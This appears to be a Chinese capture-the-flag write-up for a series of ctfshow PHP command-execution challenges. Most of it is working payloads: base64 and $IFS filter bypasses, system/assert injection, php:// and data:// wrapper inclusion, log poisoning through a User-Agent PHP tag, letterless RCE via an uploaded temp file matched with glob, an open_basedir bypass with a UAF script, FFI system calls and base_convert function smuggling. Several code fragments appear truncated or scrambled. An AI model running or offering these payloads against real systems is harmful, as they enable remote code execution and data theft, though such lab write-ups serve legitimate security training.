ctfshow命令执行系列
题目链接<http://49.235.198.94:808/
1 |
|
这个过滤的也很严,可以使用base64编码绕过
1 | ?ip=11||`echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d` |
web-29
源码
1 |
|
知识过滤了flag关键字,可以直接cat *
其他解
1
2
3 echo `nl fl''ag.php`;
/?c=system($_GET['a']);&a=nl flag.php;
web-30
考点:命令执行
核心代码
1 | if(isset($_GET['c'])){ |
payload :
1 | ?c=assert($_GET[a]);&a=system('cat *'); |
1 | highlight_file(~%99%93%9E%98%D1%8F%97%8F);// |
运用了取反
web-31
源码
1 |
|
此题过滤了更多,但是任然可以使用上面的方法进行绕过
1 | ?c=assert($_GET[a]);&a=system('cat *'); |
web-32
源码
1 |
|
这一个过滤得比较多,过滤了分号,可以使用?>
来闭合,过滤了括号,但是include可以不需要括号,并且可以通过伪协议来进行文件包含
1 | ?c=include$_GET["url"] &url=php://filter/read=convert.base64-encode/resource=flag.php |
web-33
源码:
1 |
|
这一关过滤了双引号,那就不加双引号
1 | ?c=include$_GET[url] &url=php://filter/read=convert.base64-encode/resource=flag.php |
web-34
源码
1 |
|
这一关过滤了冒号,但似乎没什么影响
payload同上
web-35
源码:
1 |
|
同上
web-36
同上
web-37
源码
1 |
|
文件包含,未过滤伪协议,可直接变为命令执行
也可以使用日志包含
web-38
源码
1 |
|
代码过滤了php,不能使用php伪协议,但是任然可以使用日志包含
抓包再user-agent里面添加<?php system('cat flag.php');?>
然后包含/var/log/nginx/access.log
即可
也可以使用data伪协议
1 | data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
web-39
源码
1 |
|
限制了文件后缀,但是任然可以使用data伪协议
1 | data:text/plain,'cat *'); system( |
web-40
源码
1 |
|
此题考了无参数rce
payload
1 | PHPSESSID : ls -al # session中写入恶意代码 |
web-41
源码
1 |
|
此题过滤了字母和数字,异或和取反也被过滤,但是位或没有过滤,可以使用位或来构造payload
生成可见字符脚本
1 |
|
羽师傅的脚本
1 |
|
将生成的rce_or.txt与下面的python文件放在一起,执行python脚本
1 | # -*- coding: utf-8 -*- |
这个就很方便
web-42
源码
1 |
|
>/dev/null
这条命令的作用是将标准输出1重定向到/dev/null
中。 /dev/null
代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null
之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。
这个既然没有回显,可以尝试截断,使用;
截断
web-43
1 | if(isset($_GET['c'])){ |
linux中:%0a 、%0d 、; 、& 、| 、&&、||
web-44
1 | if(isset($_GET['c'])){ |
同上
web-45
1 | if(isset($_GET['c'])){ |
此题过滤了空格
1
2
3
4
5
6
7 {cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
?c=tac${IFS}*%0a
web-46
1 | if(isset($_GET['c'])){ |
1 | ?c=tac<>fl\ag.php%0a |
web-47
1 | if(isset($_GET['c'])){ |
1 | ?c=tac<>fl\ag.php%0a |
web-48
1 | if(isset($_GET['c'])){ |
1 | ?c=tac<>fl\ag.php%0a |
web-49
1 | if(isset($_GET['c'])){ |
1 | ?c=tac<>fl\ag.php%0a |
web-50
1 | if(isset($_GET['c'])){ |
同上
web-51
1 |
|
1 | ?c=nl<>fl\ag.php%0a |
web-52
1 |
|
1 | ?c=nl${IFS}/fl''ag|| |
web-53
源码
1 | if(isset($_GET['c'])){ |
1 | nl${IFS}fla\g.php |
web-54
1 | if(isset($_GET['c'])){ |
可以使用通配符
1 | ?c=/bin/?at${IFS}f??????? |
web-55
1 | if(isset($_GET['c'])){ |
本题过滤了所有字母,但是未过滤取反、异或、与或
参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://blog.csdn.net/qq_46091464/article/details/108513145
PHP5+shell打破禁锢
因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、
$
的系统命令来getshell?好像问题又回到了原点:无字母、数字、
$
,在shell中仍然是一个难题。此时我想到了两个有趣的Linux shell知识点:
- shell下可以利用
.
来执行任意脚本- Linux文件名支持用glob通配符代替
第一点曾在《 小密圈里的那些奇技淫巧 》露出过一角,但我没细讲。
.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用
. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是
/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。第二个难题接踵而至,执行
. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符那么,
/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
大意为通过构造一个上传页面进行上传文件,该文件会被临时存在/tmp/phpXXXXXX中,由于该文件最后三个字母为大写,所以需要用/???/????????[@-[]
来进行匹配
大写字母位于@
与[
之间:
解题
首先构造一个上传页面
1 | <!DOCTYPE html> |
上传文文件抓包
构造命令执行
web-56
源码
1 |
|
可通过web55的方法解题
web-57
源码:
1 |
|
本题过滤了小写字母和数字,我们需要构造 出36即可
echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36
payload
1 | $((~$((~$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))))$((~$(()))))))) |
web-58
源码
1 | if(isset($_POST['c'])){ |
本题禁用了命令执行的函数,但是未禁用highlight_file等函数,可直接查看flag源码
payload
1 | c=highlight_file(%27flag.php%27); |
web-59
源码
1 | if(isset($_POST['c'])){ |
payload
1 | c=show_source('flag.php'); |
web-60
同web-59
web-61
web-62
web-63
web-64
web-65
同上
web-66
这一关禁用了show_source 函数
先看下目录
1 | c=print_r(scandir("/")); |
发现flag.txt
之后
1 | c=highlight_file('/flag.txt'); |
web-67
1 | c=highlight_file('/flag.txt'); |
web-68
1 | c=include('/flag.txt'); |
web-69
web-70
同上
web-71
1 | error_reporting(0); |
这个题会把所有输出的字符替换为?
我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:
1 | c=include('/flag.txt');exit(0); |
web-72
1 | error_reporting(0); |
本题使用了open_basedir
进行目录访问限制
open_basedir 绕过
首先执行
1 | c=new directoryiterator("glob:///*"); foreach($a as $f) {echo($f->__tostring().' '); } exit(0); $a= |
得到 flag0.txt
之后利用uaf的脚本进行命令执行
1 | c=function ctfshow($cmd) { |
web-73
payload
1 | c=new directoryiterator("glob:///*"); foreach($a as $f) {echo($f->__tostring().' '); } exit(0); $a= |
得到/flagc.txt
然后
1 | c=include('/flagc.txt');exit(); |
即可
web-74
同上
web-75
1 | c=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f- $a= |
web-76
同上
web-77
FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807.html
1 | $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 |
1 | c="int system(const char *command);"); $ffi = FFI::cdef( |
访问222.txt即可
web118 ——月饼杯web3’s revenge
命令执行,过滤了小写字母和数字,需要使用大写字母和符号进行构造payload,首先想到环境变量
1 | ${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.??? |
web-124
源码
1 | error_reporting(0); |
此题与[CISCN 2019 ]Love Math一样
PHP函数:
scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返 回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该 函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)
首先是通过c进行get传参,不能包含blacklist里面的字符,并且不能有whitelist以外的字符
这里可以通过将函数名转为10进制,再通过白名单内的函数转回函数名,执行相应代码
payload:
1
2
3
4 base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
1 $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag
之后查看源码即可得到flag